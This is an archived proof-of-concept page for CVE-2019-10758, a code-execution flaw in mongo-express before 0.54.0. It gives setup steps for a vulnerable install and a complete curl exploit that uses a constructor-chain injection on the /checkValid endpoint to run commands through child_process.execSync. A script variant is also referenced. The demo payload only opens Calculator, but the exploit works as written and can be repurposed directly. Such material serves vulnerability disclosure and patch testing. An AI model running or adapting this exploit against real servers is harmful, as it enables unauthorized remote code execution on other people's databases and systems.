Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1000 CNY

100.0%

CVE-2019-10758 PoC — mongo-express 安全漏洞

Source
Associated Vulnerability
Title:mongo-express 安全漏洞 (CVE-2019-10758)
Description:mongo-express是一款用于交互式管理MongoDB数据库的、基于Web的轻量级管理界面。 mongo-express 0.54.0之前版本中存在安全漏洞。攻击者可借助使用toBSON方法的端点利用该漏洞执行代码。
Readme
# CVE-2019-10758 PoC


## Setup

```
docker run -p 27017:27017 -d mongo
npm install mongo-express@0.53.0 
cd node_modules/mongo-express/ && node app.js
```

## cURL exploit
```
curl 'http://localhost:8081/checkValid' -H 'Authorization: Basic YWRtaW46cGFzcw=='  --data 'document=this.constructor.constructor("return process")().mainModule.require("child_process").execSync("/Applications/Calculator.app/Contents/MacOS/Calculator")'
```

## Script exploit
```
node main.js
```
File Snapshot

[4.0K] /data/pocs/5d7d7980962695b6086718129543d614f92c6206 ├── [ 233] main.js ├── [ 70K] package-lock.json └── [ 475] README.md 0 directories, 3 files
Shenlong Bot has cached this for you
Remarks
    1. It is advised to access via the original source first.
    2. If the original source is unavailable, please email f.jinxu#gmail.com for a local snapshot (replace # with @).
    3. Shenlong has snapshotted the POC code for you. To support long-term maintenance, please consider donating. Thank you for your support.